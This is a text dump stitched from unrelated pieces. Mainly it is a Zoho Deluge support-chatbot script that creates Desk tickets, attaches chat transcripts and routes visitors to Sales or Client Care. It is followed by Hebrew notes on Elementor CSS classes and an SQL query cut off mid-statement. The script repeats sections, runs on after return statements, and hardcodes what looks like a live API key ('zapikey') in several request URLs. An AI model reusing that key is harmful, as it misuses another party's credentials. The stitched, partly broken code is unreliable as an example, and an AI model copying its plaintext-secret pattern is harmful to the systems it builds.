				create_map.put("category",category.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
				if(issueType.toString() != "Empty")
				{
					cf = Map();
					cf.put("cf_issue_type",issueType.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
					create_map.put("cf",cf);
				}
				createTicketResp = invokeurl
				[
					url :"https://desk.zoho.com/api/v1/tickets"
					type :POST
					parameters:create_map + ""
					connection:"zoho_desk"
				];
				info "createTicketResp = " + createTicketResp;
				if(createTicketResp.containsKey("modifiedTime"))
				{
					ticketId = createTicketResp.get("id");
					ticketNumber = createTicketResp.get("ticketNumber");
				}
			}
			/////////////////////////////////////////////////////////////////////////////////////////////
			tempStoreMap = Map();
			tempStoreMap.put("ticketId",ticketId);
			tempStoreMap.put("ticketNumber",ticketNumber);
			tempStoreMap.put("finalActions",finalActions);
			storeData = zoho.salesiq.visitorsession.set("mediproinc",tempStoreMap,"zoho_salesiq");
			/////////////////////////////////////////////////////////////////////////////////////////////
			////////////////// Article - Agent - > True ///////////////////////////////////////////////////////
			if(finalActions.contains("KB Article") && !finalActions.contains("Talk to an Agent") && !finalActions.contains("Open Ticket") && !finalActions.contains("Closed Ticket"))
			{
				replies = Collection();
				if(selectedMessages != "-")
				{
					replies.insert(selectedMessages);
				}
				finalArticle = ifnull(finalArticle,"https://www.medipro.com/");
				if(selectedMessages != "-" && selectedMessages != null)
				{
					replies.insert({"type":"links","text":article_found_message,"links":{{"url":finalArticle,"text":read_article_message}}});
				}
				else
				{
					replies.insert({"type":"links","text":article_found_message,"links":{{"url":finalArticle,"text":read_article_message}}});
				}
				response.put("action","end");
				response.put("replies",replies);
			}
			else if(finalActions.contains("KB Article"))
			{
				response.put("action","context");
				response.put("context_id","issue_resolved_with_kb");
				replies = Collection();
				if(selectedMessages != "-")
				{
					replies.insert(selectedMessages);
				}
				replies.insert({"type":"links","text":article_found_message,"links":{{"url":finalArticle,"text":read_article_message}}});
				replies.insert(issue_resolved_with_article_message);
				question = {"name":"issueResolvedWithKb","replies":replies,"input":{"type":"select","options":{"Yes","No"}}};
				response.put("questions",{question});
			}
			////////////////// Article - > True  | Agent  -> False /////////////////////////////////////////	
			else if(!finalActions.contains("KB Article") && finalActions.contains("Talk to an Agent"))
			{
				response.put("action","context");
				response.put("context_id","talk_to_human");
				replies = Collection();
				if(selectedMessages != "-")
				{
					replies.insert(selectedMessages);
				}
				if(ticketNumber != null && ticketNumber != "")
				{
					ticket_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
					replies.insert(ticket_message);
				}
				replies.insert(talk_to_agent_message);
				question = {"name":"connectTo","replies":replies,"input":{"type":"select","options":{"Yes","No"}}};
				response.put("questions",{question});
			}
			//////////////////  Agent - Article  -> False /////////////////////////////////////////		
			else if(!finalActions.contains("KB Article") && !finalActions.contains("Talk to an Agent"))
			{
				if(ticketId != null)
				{
					//////////////////////////////// Attaching chat Transcript on the Ticket Starts //////////////////////////////////////////
					conversation_id = visitor.get("active_conversation_id");
					param = Map();
					param.put("data","messages");
					param.put("format","pdf");
					export_chat = invokeurl
					[
						url :"https://salesiq.zoho.com/api/v2/mediproinc/conversations/" + conversation_id + "/export"
						type :POST
						parameters:param + ""
						connection:"zoho_salesiq"
					];
					info "Exporting Chat = " + export_chat;
					export_chat.setParamName("file");
					header = Map();
					header.put("Content-Type","multipart/form-data");
					////// attach file to ticket ////
					attach = invokeurl
					[
						url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + "/attachments?isPublic=true"
						type :POST
						headers:header
						files:export_chat
						connection:"zoho_desk"
					];
					//////////////////////////////// Attaching chat Transcript on the Ticket Ends //////////////////////////////////////////
				}
				replies = Collection();
				if(selectedMessages != "-")
				{
					replies.insert(selectedMessages);
				}
				if(finalActions.contains("Closed Ticket"))
				{
					update_map = Map();
					update_map.put("status","Closed");
					updateTicketResp = invokeurl
					[
						url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + ""
						type :PATCH
						parameters:update_map + ""
						connection:"zoho_desk"
					];
					//////////////////////////////////////////////////////////////
					replies.insert(thank_you_for_information_message);
					need_help_message = need_further_help_message.getPrefix("{{") + ticketNumber + need_further_help_message.getSuffix("}}");
					replies.insert(need_help_message);
					replies.insert(thank_you_message);
				}
				else
				{
					replies.insert(thank_you_for_information_message);
					ticket_team_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
					replies.insert(ticket_team_message);
					replies.insert(thank_you_message);
				}
				response.put("action","end");
				response.put("replies",replies);
			}
		}
	}
}
/////// Output ///////
if(context_id.equals("output"))
{
	crmRecordId = zoho.salesiq.visitorsession.get("mediproinc","crmRecordId","zoho_salesiq").get("crmRecordId");
	info "Line: 362: crmRecordId: " + crmRecordId;
	/////////////////////////////////////////////////////////////////////////////////////////////
	chatBotActionsRecId = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v2/functions/Chatbot_Actions_Using_RecId/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&recId=" + crmRecordId
		type :POST
	];
	info "Line: 369: chatBotActionsRecId: " + chatBotActionsRecId;
	requiredInfoType = chatBotActionsRecId.get("details").get("output").get("requiredInfoType");
	Check_Support_Agreement = chatBotActionsRecId.get("details").get("output").get("Check_Support_Agreement");
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	Output_Action = chatBotActionsRecId.get("details").get("output").get("Output_Action");
	KB_Article = chatBotActionsRecId.get("details").get("output").get("KB_Article");
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	Option_vs_Output_Actions = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Actions");
	Option_vs_Output_Article = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Article");
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	if(requiredInfoType == "Free Typing Question")
	{
		finalActions = Output_Action;
		finalArticle = ifnull(KB_Article,"https://www.medipro.com/");
	}
	else if(requiredInfoType == "Multi Option Question")
	{
		selectedValue = zoho.salesiq.visitorsession.get("mediproinc","multiOptionSelection","zoho_salesiq").get("multiOptionSelection");
		info "selectedValue: " + selectedValue;
		selectedActions = Option_vs_Output_Actions.get(selectedValue);
		selectedArticle = Option_vs_Output_Article.get(selectedValue);
		finalActions = selectedActions;
		finalArticle = ifnull(selectedArticle,"https://www.medipro.com/");
	}
	//////////////////////////////////////////////////////////////////////////////////////////////
	if(activeAgreement == false && Check_Support_Agreement == true)
	{
		finalActions.removeElement("Talk to an Agent");
	}
	info "Final ACtions: " + finalActions;
	//////////////////////////////////////////////////////
	inputValuesString = "Questions:<br><br>";
	for each  keyVal in answers.keys()
	{
		info keyVal;
		inputValuesString = inputValuesString + keyVal + " : " + answers.get(keyVal).get("text") + "<br><br>";
	}
	info "inputValuesString: " + inputValuesString;
	info finalActions;
	info finalArticle;
	////////////////  Create Ticket //////////////////////////////////////////////////////////
	ticketId = "";
	ticketNumber = "";
	if(finalActions.contains("Open Ticket") || finalActions.contains("Closed Ticket"))
	{
		otherEmail = zoho.salesiq.visitorsession.get("mediproinc","otherEmail","zoho_salesiq").get("otherEmail");
		email = ifnull(otherEmail,visitor.get("email"));
		search_param_map = Map();
		search_param_map.put("email",email);
		Get_Contact = invokeurl
		[
			url :"https://desk.zoho.com/api/v1/contacts/search?"
			type :GET
			parameters:search_param_map
			connection:"zoho_desk"
		];
		// 			info "Searching Customer = "+Get_Contact;
		if(Get_Contact.get("data").size() > 0)
		{
			//// Contact found 
			deskContactID = Get_Contact.get("data").get(0).get("id");
		}
		else
		{
			/// Create Contact
			contactMap = Map();
			fullName = visitor.get("name");
			if(fullName.contains(" "))
			{
				contactMap.put("firstName",fullName.getPrefix(" "));
				contactMap.put("lastName",fullName.getSuffix(" "));
			}
			else
			{
				contactMap.put("lastName",fullName);
			}
			otherEmail = zoho.salesiq.visitorsession.get("mediproinc","otherEmail","zoho_salesiq").get("otherEmail");
			email = ifnull(otherEmail,visitor.get("email"));
			contactMap.put("email",email);
			contactMap.put("phone",visitor.get("phone"));
			creatingDeskContact = invokeurl
			[
				url :"https://desk.zoho.com/api/v1/contacts"
				type :POST
				parameters:contactMap.toString()
				connection:"zoho_desk"
			];
			info "creatingDeskContact = " + creatingDeskContact;
			deskContactID = creatingDeskContact.get("id");
		}
		////////////////////////////////////////////////////////////
		classification = zoho.salesiq.visitorsession.get("mediproinc","classification","zoho_salesiq").get("classification");
		category = zoho.salesiq.visitorsession.get("mediproinc","category","zoho_salesiq").get("category");
		issueType = zoho.salesiq.visitorsession.get("mediproinc","issueType","zoho_salesiq").get("issueType");
		////////////////////////////////////////////////////////////		
		//// Creating Ticket
		create_map = Map();
		create_map.put("subject","Ticket submitted by " + visitor.get("name") + " via Chatbot.");
		create_map.put("contactId",deskContactID);
		create_map.put("departmentId",deskDepartmentId);
		create_map.put("channel","Chat");
		create_map.put("description",ifnull(inputValuesString,""));
		create_map.put("classification",classification.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
		create_map.put("category",category.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
		if(issueType.toString() != "Empty")
		{
			cf = Map();
			cf.put("cf_issue_type",issueType.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
			create_map.put("cf",cf);
		}
		createTicketResp = invokeurl
		[
			url :"https://desk.zoho.com/api/v1/tickets"
			type :POST
			parameters:create_map + ""
			connection:"zoho_desk"
		];
		info "createTicketResp = " + createTicketResp;
		if(createTicketResp.containsKey("modifiedTime"))
		{
			ticketId = createTicketResp.get("id");
			ticketNumber = createTicketResp.get("ticketNumber");
		}
	}
	/////////////////////////////////////////////////////////////////////////////////////////////
	tempStoreMap = Map();
	tempStoreMap.put("ticketId",ticketId);
	tempStoreMap.put("ticketNumber",ticketNumber);
	tempStoreMap.put("finalActions",finalActions);
	storeData = zoho.salesiq.visitorsession.set("mediproinc",tempStoreMap,"zoho_salesiq");
	/////////////////////////////////////////////////////////////////////////////////////////////
	////////////////// Article - Agent - > True ///////////////////////////////////////////////////////
	if(finalActions.contains("KB Article"))
	{
		info "IN: KB Article Condition";
		response.put("action","context");
		response.put("context_id","issue_resolved_with_kb");
		replies = Collection();
		replies.insert({"type":"links","text":article_found_message,"links":{{"url":finalArticle,"text":read_article_message}}});
		replies.insert(issue_resolved_with_article_message);
		question = {"name":"issueResolvedWithKb","replies":replies,"input":{"type":"select","options":{"Yes","No"}}};
		response.put("questions",{question});
	}
	////////////////// Article - > True  | Agent  -> False /////////////////////////////////////////	
	else if(!finalActions.contains("KB Article") && finalActions.contains("Talk to an Agent"))
	{
		response.put("action","context");
		response.put("context_id","talk_to_human");
		replies = Collection();
		if(ticketNumber != null && ticketNumber != "")
		{
			ticket_team_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
			replies.insert(ticket_team_message);
		}
		replies.insert(talk_to_agent_message);
		question = {"name":"connectTo","replies":replies,"input":{"type":"select","options":{"Yes","No"}}};
		response.put("questions",{question});
	}
	//////////////////  Agent - Article  -> False /////////////////////////////////////////		
	else if(!finalActions.contains("KB Article") && !finalActions.contains("Talk to an Agent"))
	{
		if(ticketId != null)
		{
			//////////////////////////////// Attaching chat Transcript on the Ticket Starts //////////////////////////////////////////
			conversation_id = visitor.get("active_conversation_id");
			param = Map();
			param.put("data","messages");
			param.put("format","pdf");
			export_chat = invokeurl
			[
				url :"https://salesiq.zoho.com/api/v2/mediproinc/conversations/" + conversation_id + "/export"
				type :POST
				parameters:param + ""
				connection:"zoho_salesiq"
			];
			info "Exporting Chat = " + export_chat;
			export_chat.setParamName("file");
			header = Map();
			header.put("Content-Type","multipart/form-data");
			////// attach file to ticket ////
			attach = invokeurl
			[
				url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + "/attachments?isPublic=true"
				type :POST
				headers:header
				files:export_chat
				connection:"zoho_desk"
			];
			//////////////////////////////// Attaching chat Transcript on the Ticket Ends //////////////////////////////////////////
		}
		replies = Collection();
		if(finalActions.contains("Closed Ticket"))
		{
			update_map = Map();
			update_map.put("status","Closed");
			updateTicketResp = invokeurl
			[
				url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + ""
				type :PATCH
				parameters:update_map + ""
				connection:"zoho_desk"
			];
			//////////////////////////////////////////////////////////////
			replies.insert(thank_you_for_information_message);
			need_futher_help_ticket_message = need_further_help_message.getPrefix("{{") + ticketNumber + need_further_help_message.getSuffix("}}");
			replies.insert(need_futher_help_ticket_message);
			replies.insert(thank_you_message);
		}
		else
		{
			replies.insert(thank_you_for_information_message);
			ticket_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
			replies.insert(ticket_message);
			replies.insert(thank_you_message);
		}
		response.put("action","end");
		response.put("replies",replies);
	}
}
///////////////////////////////////////////////////////////////////////////////////////////
if(context_id.equals("issue_resolved_with_kb"))
{
	info "IN: Issue Resolved Context";
	if(answers.containsKey("issueResolvedWithKb"))
	{
		ticketId = zoho.salesiq.visitorsession.get("mediproinc","ticketId","zoho_salesiq").get("ticketId");
		ticketNumber = zoho.salesiq.visitorsession.get("mediproinc","ticketNumber","zoho_salesiq").get("ticketNumber");
		finalActions = zoho.salesiq.visitorsession.get("mediproinc","finalActions","zoho_salesiq").get("finalActions");
		info "finalActions: " + finalActions;
		///////////////////////////////////////////////////////////////////////////
		issueResolvedWithKb = answers.get("issueResolvedWithKb").get("text");
		if(issueResolvedWithKb.toString() == "Yes")
		{
			if(ticketId != null)
			{
				//////////////////////////////// Attaching chat Transcript on the Ticket Starts //////////////////////////////////////////
				conversation_id = visitor.get("active_conversation_id");
				param = Map();
				param.put("data","messages");
				param.put("format","pdf");
				export_chat = invokeurl
				[
					url :"https://salesiq.zoho.com/api/v2/mediproinc/conversations/" + conversation_id + "/export"
					type :POST
					parameters:param + ""
					connection:"zoho_salesiq"
				];
				info "Exporting Chat = " + export_chat;
				export_chat.setParamName("file");
				header = Map();
				header.put("Content-Type","multipart/form-data");
				////// attach file to ticket ////
				attach = invokeurl
				[
					url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + "/attachments?isPublic=true"
					type :POST
					headers:header
					files:export_chat
					connection:"zoho_desk"
				];
				//////////////////////////////// Attaching chat Transcript on the Ticket Ends //////////////////////////////////////////
			}
			update_map = Map();
			update_map.put("status","Closed");
			updateTicketResp = invokeurl
			[
				url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + ""
				type :PATCH
				parameters:update_map + ""
				connection:"zoho_desk"
			];
			////////////////////////////////////////////////////////////////////////////////////
			replies = Collection();
			replies.insert(thank_you_for_information_message);
			if(ticketNumber != null && ticketNumber != "")
			{
				referenct_ticket_message = ticket_created_for_reference_message.getPrefix("{{") + ticketNumber + ticket_created_for_reference_message.getSuffix("}}");
				replies.insert(referenct_ticket_message);
			}
			else
			{
				replies.insert(issue_resolved_message);
			}
			replies.insert(thank_you_message);
			response.put("action","end");
			response.put("replies",replies);
		}
		else if(issueResolvedWithKb.toString() == "No" && !finalActions.contains("Talk to an Agent"))
		{
			if(ticketId != null)
			{
				//////////////////////////////// Attaching chat Transcript on the Ticket Starts //////////////////////////////////////////
				conversation_id = visitor.get("active_conversation_id");
				param = Map();
				param.put("data","messages");
				param.put("format","pdf");
				export_chat = invokeurl
				[
					url :"https://salesiq.zoho.com/api/v2/mediproinc/conversations/" + conversation_id + "/export"
					type :POST
					parameters:param + ""
					connection:"zoho_salesiq"
				];
				info "Exporting Chat = " + export_chat;
				export_chat.setParamName("file");
				header = Map();
				header.put("Content-Type","multipart/form-data");
				////// attach file to ticket ////
				attach = invokeurl
				[
					url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + "/attachments?isPublic=true"
					type :POST
					headers:header
					files:export_chat
					connection:"zoho_desk"
				];
				//////////////////////////////// Attaching chat Transcript on the Ticket Ends //////////////////////////////////////////
			}
			replies = Collection();
			replies.insert(thank_you_for_information_message);
			if(ticketNumber != null && ticketNumber != "")
			{
				ticket_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
				replies.insert(ticket_message);
			}
			else
			{
				replies.insert(ticket_not_created_message);
			}
			replies.insert(thank_you_message);
			response.put("action","end");
			response.put("replies",replies);
		}
		else if(issueResolvedWithKb.toString() == "No" && finalActions.contains("Talk to an Agent"))
		{
			response.put("action","context");
			response.put("context_id","talk_to_human");
			replies = Collection();
			if(ticketNumber != null && ticketNumber != "")
			{
				ticket_message = ticket_created_for_team_message.getPrefix("{{") + ticketNumber + ticket_created_for_team_message.getSuffix("}}");
				replies.insert(ticket_message);
			}
			replies.insert(talk_to_agent_message);
			question = {"name":"connectTo","replies":replies,"input":{"type":"select","options":{"Yes","No"}}};
			response.put("questions",{question});
		}
	}
}
///////////////////////////////////////////////////////////////////////////////////////////
if(context_id.equals("talk_to_human"))
{
	ticketId = zoho.salesiq.visitorsession.get("mediproinc","ticketId","zoho_salesiq").get("ticketId");
	if(ticketId != null)
	{
		//////////////////////////////// Attaching chat Transcript on the Ticket Starts //////////////////////////////////////////
		conversation_id = visitor.get("active_conversation_id");
		param = Map();
		param.put("data","messages");
		param.put("format","pdf");
		export_chat = invokeurl
		[
			url :"https://salesiq.zoho.com/api/v2/mediproinc/conversations/" + conversation_id + "/export"
			type :POST
			parameters:param + ""
			connection:"zoho_salesiq"
		];
		info "Exporting Chat = " + export_chat;
		export_chat.setParamName("file");
		header = Map();
		header.put("Content-Type","multipart/form-data");
		////// attach file to ticket ////
		attach = invokeurl
		[
			url :"https://desk.zoho.com/api/v1/tickets/" + ticketId + "/attachments?isPublic=true"
			type :POST
			headers:header
			files:export_chat
			connection:"zoho_desk"
		];
		//////////////////////////////// Attaching chat Transcript on the Ticket Ends //////////////////////////////////////////
	}
	info "IN: talk_to_human Context";
	if(answers.containsKey("connectTo"))
	{
		connectTo = answers.get("connectTo").get("text");
		info "connectTo = " + connectTo;
		if(connectTo.toString() == "Yes")
		{
			info departmentId;
			// Chat Forward
			response.put("action","forward");
			response.put("department",departmentId);
			response.put("replies",{connect_to_agent_message});
		}
		else
		{
			replies = Collection();
			replies.insert(thank_you_for_information_message);
			replies.insert(ticket_not_created_message);
			response.put("action","end");
			response.put("replies",replies);
		}
	}
}
return response;
//////////////////////////////// Fetching dymamic messages Start ///////////////////////////////////////////////////////////
messages = zoho.crm.getRecords("Chatbot_Messages");
// info messages;
for each  dynamic_message in messages
{
	// 	info dynamic_message.get("Type");
	if(dynamic_message.get("Type") == "Welcome")
	{
		welcome_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "HIPAA Disclaimer")
	{
		hippa_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Chat End")
	{
		chat_end_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Departments")
	{
		departments_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue")
	{
		issue_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Connect to Agent")
	{
		connect_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "User Not Identified")
	{
		user_not_identified_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Other Email")
	{
		other_mail_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Select Product")
	{
		select_product_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "No Support Agreement")
	{
		no_support_agreement_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Category")
	{
		category_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Read Article")
	{
		read_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Article Found")
	{
		article_found_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved with Article")
	{
		issue_resolved_with_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Tallk to Agent")
	{
		talk_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You for Information")
	{
		thank_you_for_information_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Need Further Help")
	{
		need_further_help_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You")
	{
		thank_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Team")
	{
		ticket_created_for_team_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Reference")
	{
		ticket_created_for_reference_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved")
	{
		issue_resolved_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "What Can I Help You")
	{
		how_can_i_help_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Operator Busy")
	{
		operator_busy_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Classification")
	{
		classification_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Not Created")
	{
		ticket_not_created_message = dynamic_message.get("Message");
	}
}
//////////////////////////////// Fetching dymamic messages Ends ///////////////////////////////////////////////////////////
response = Map();
response.put("action","reply");
response.put("replies",{hippa_message,welcome_message,departments_message});
response.put("input",{"type":"select","options":{"Client Care","Sales"}});
return response;
//////////////////////////////// Fetching dymamic messages Start ///////////////////////////////////////////////////////////
messages = zoho.crm.getRecords("Chatbot_Messages");
info messages;
for each  dynamic_message in messages
{
	if(dynamic_message.get("Type") == "Welcome")
	{
		welcome_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "HIPAA Disclaimer")
	{
		hippa_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Chat End")
	{
		chat_end_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Departments")
	{
		departments_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue")
	{
		issue_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Connect to Agent")
	{
		connect_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "User Not Identified")
	{
		user_not_identified_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Other Email")
	{
		other_mail_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Select Product")
	{
		select_product_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "No Support Agreement")
	{
		no_support_agreement_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Category")
	{
		category_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Read Article")
	{
		read_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Article Found")
	{
		article_found_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved with Article")
	{
		issue_resolved_with_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Tallk to Agent")
	{
		talk_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You for Information")
	{
		thank_you_for_information_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Need Further Help")
	{
		need_further_help_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You")
	{
		thank_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Team")
	{
		ticket_created_for_team_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Reference")
	{
		ticket_created_for_reference_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved")
	{
		issue_resolved_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "What Can I Help You")
	{
		how_can_i_help_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Operator Busy")
	{
		operator_busy_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Classification")
	{
		classification_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Not Created")
	{
		ticket_not_created_message = dynamic_message.get("Message");
	}
}
//////////////////////////////// Fetching dymamic messages Ends ///////////////////////////////////////////////////////////
response = Map();
msg = message.get("text");
name = visitor.get("name");
email = visitor.get("email");
phone = visitor.get("phone");
// departmentId = visitor.get("department_id");
/////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
if(operation.equals("chat"))
{
	if(!msg.equalsIgnoreCase("Client Care") && !msg.equalsIgnoreCase("Sales"))
	{
		response = Map();
		response.put("action","reply");
		response.put("replies",{hippa_message,welcome_message,departments_message});
		response.put("input",{"type":"select","options":{"Client Care","Sales"}});
		return response;
	}
}
if(msg.equalsIgnoreCase("Sales"))
{
	chatBotActions = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v2/functions/Fetch_Chabot_Sales_Actions/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0"
		type :POST
	];
	info "From function = " + chatBotActions;
	issueTypes = chatBotActions.get("details").get("output").get("issueType");
	///////////////////////////////////////////////////
	if(!issueTypes.isEmpty())
	{
		/////////////////////Create Session//////////////////////////////////
		data_mp = Map();
		data_mp.put("department","Sales");
		set_map = Map();
		set_map.put("data_mp",data_mp);
		temp_store = zoho.salesiq.visitorsession.set("mediproinc",set_map,"zoho_salesiq");
		info "Storing data = " + temp_store;
		/////////////////////////////////////////////////////////////////////	
		//info show question
		response.put("action","context");
		response.put("context_id","salesIssueType");
		question = {"name":"issueType","replies":{issue_message},"input":{"type":"select","options":issueTypes}};
		response.put("questions",{question});
	}
	else
	{
		// Chat Forward
		// Sales Department: 810990000000014003
		response.put("action","forward");
		response.put("department","810990000000014003");
		response.put("replies",{connect_to_agent_message});
	}
}
else if(msg.equalsIgnoreCase("Client Care"))
{
	searchContact = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v3/Contacts/search?criteria=(Email:equals:" + email + ")"
		type :GET
		connection:"zohocrm"
	];
	info searchContact;
	info isNull(searchContact);
	if(isNull(searchContact))
	{
		/////////////////////Create Session//////////////////////////////////
		data_mp = Map();
		data_mp.put("department","Client Care");
		set_map = Map();
		set_map.put("data_mp",data_mp);
		temp_store = zoho.salesiq.visitorsession.set("mediproinc",set_map,"zoho_salesiq");
		info "Storing data = " + temp_store;
		/////////////////////////////////////////////////////////////////////		
		/////// User Did not Identified ////////
		response.put("action","context");
		response.put("context_id","userNotIdentified");
		otherEmail = {"name":"otherEmail","replies":{user_not_identified_message,other_mail_message}};
		couldNotIdentify = {"name":"couldNotIdentify","replies":{user_not_identified_message},"input":{"type":"select","options":{"Yes","No"}}};
		response.put("questions",{couldNotIdentify});
	}
	else
	{
		/////////////// User found ///////////////
		info "Record Found";
		contactDetials = searchContact.get("data").get(0);
		accountID = ifnull(contactDetials.get("Account_Name"),{"id":null}).get("id");
		chatBotActions = invokeurl
		[
			url :"https://www.zohoapis.com/crm/v2/functions/erphub_test/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&accountID=" + accountID
			type :POST
		];
		info "From function = " + chatBotActions;
		classifications = chatBotActions.get("details").get("output").get("classifications");
		///////////////////////////////////////////////////
		if(!classifications.isEmpty())
		{
			////////////////////////////////////////////////////////////////////////////////////////
			searchAgreement = invokeurl
			[
				url :"https://www.zohoapis.com/crm/v3/Contracts/search?criteria=((Account:equals:" + accountID + ")and(Status:equals:Active))"
				type :GET
				connection:"zohocrm"
			];
			info "searchAgreement: " + searchAgreement;
			activeAgreement = false;
			if(searchAgreement.size() > 0)
			{
				activeAgreement = true;
			}
			else
			{
				activeAgreement = false;
			}
			/////////////////////////////////////////////////////////////////////
			classification_rep_list = List();
			if(activeAgreement == true)
			{
				// 				classificationText = "Please select a classification";
				classification_rep_list.add(select_product_message);
			}
			else
			{
				classification_rep_list.add(no_support_agreement_message);
				classification_rep_list.add(select_product_message);
			}
			//////////////////////info show question/////////////////////////////
			response.put("action","context");
			response.put("context_id","clientCare");
			question = {"name":"classification","replies":classification_rep_list,"input":{"type":"select","options":classifications}};
			response.put("questions",{question});
			/////////////////////Create Session//////////////////////////////////
			data_mp = Map();
			data_mp.put("accountID",accountID);
			data_mp.put("activeAgreement",activeAgreement);
			data_mp.put("department","Client Care");
			set_map = Map();
			set_map.put("data_mp",data_mp);
			temp_store = zoho.salesiq.visitorsession.set("mediproinc",set_map,"zoho_salesiq");
			info "Storing data = " + temp_store;
			/////////////////////////////////////////////////////////////////////
		}
		else
		{
			// Chat Forward
			// Client Care Department: 810990000000014005
			response.put("action","forward");
			response.put("department","810990000000014005");
			response.put("replies",{connect_to_agent_message});
		}
	}
}
else
{
	response = Map();
	response.put("action","reply");
	response.put("replies",{hippa_message,welcome_message,departments_message});
	response.put("input",{"type":"select","options":{"Client Care","Sales"}});
	return response;
}
return response;
להכניס להתאמה אישית css  

להכניס להתאמה אישית css  

body:not(.elementor-editor-active) .saleIcon{
    display: none;
}

body:not(.elementor-editor-active) 
.product_cat-sale .saleIcon {
    display: block;
}

לפני זה להכניס 
CSS Classes
saleIcon


לפני זה להכניס 
CSS Classes
saleIcon

with age_group as( 
  select 
    a.activity_type,
    a.time_spent,
    ab.age_bucket
  from 
    activities as a  
    left join age_breakdown as ab  
    on a.user_id = ab.user_id
  where 
    a.activity_type in ('send','open')
),

open_send_sums as (
  select 
    age_bucket,
